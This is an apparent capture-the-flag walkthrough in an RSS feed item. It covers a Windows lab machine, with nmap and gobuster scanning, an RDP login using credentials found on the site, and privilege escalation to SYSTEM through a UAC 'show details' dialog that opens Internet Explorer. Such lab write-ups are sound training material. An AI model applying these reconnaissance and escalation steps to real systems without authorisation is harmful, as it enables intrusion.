            <content:encoded><![CDATA[<p>This is not a ping-able machine so we are going to use</p><blockquote>nmap -Pn 10.10.63.43</blockquote><blockquote>#or more advanced<br>nmap -A -T4 -p- -Pn 10.10.63.43</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zWTIyMewriyjG9JP" /></figure><p>Ports that are opened:</p><ol><li><strong>80/ http</strong></li><li><strong>3389/ ms-wbt-server</strong></li></ol><p>Let’s run go buster on that http web server</p><blockquote>gobuster dir -u <a href="http://10.10.63.43/">http://10.10.63.43</a> -w d.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c1a25GIobdRu38wI" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VLaouERBWaH5TsyY" /></figure><p>Write a caption</p><p>by Wade — let’s note that down, might be a username</p><p>Now let’s explore a bit around these pages,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q9-4OdtvCDVKU9fR" /></figure><p>Write a caption</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1m0MlHpitALTOr34" /></figure><p>Now I’am going to use a toold called xfreerdp</p><blockquote><strong>xfreerdp /u:Wade /v:10.10.24.147:3389</strong></blockquote><p>#then just use the password <strong>parzival</strong></p><p>Now we are in as low lever user</p><p>Now whenever you have a windows GUI — it is good to look around the machine:</p><ol><li>History of Internet explorer</li></ol><p>2. Recycle Bin</p><p>And here we have at history</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/0*cf-uuisomMEQGqzL" /></figure><p>Check for files, and we have on in desktop let’s check it properites</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LLKPJ8S4Vl9g5hk-" /></figure><p>Let’s run it as administrator and click on ‘show details’</p><p>Now if we click this</p><p>This will open Internet Explorer as system</p><p>Now we</p><p>Find cmd and open it</p><p>Boom we are, there are more parts, but it is not necesseary, the guide is in the machien</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce0ec5f72c1f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>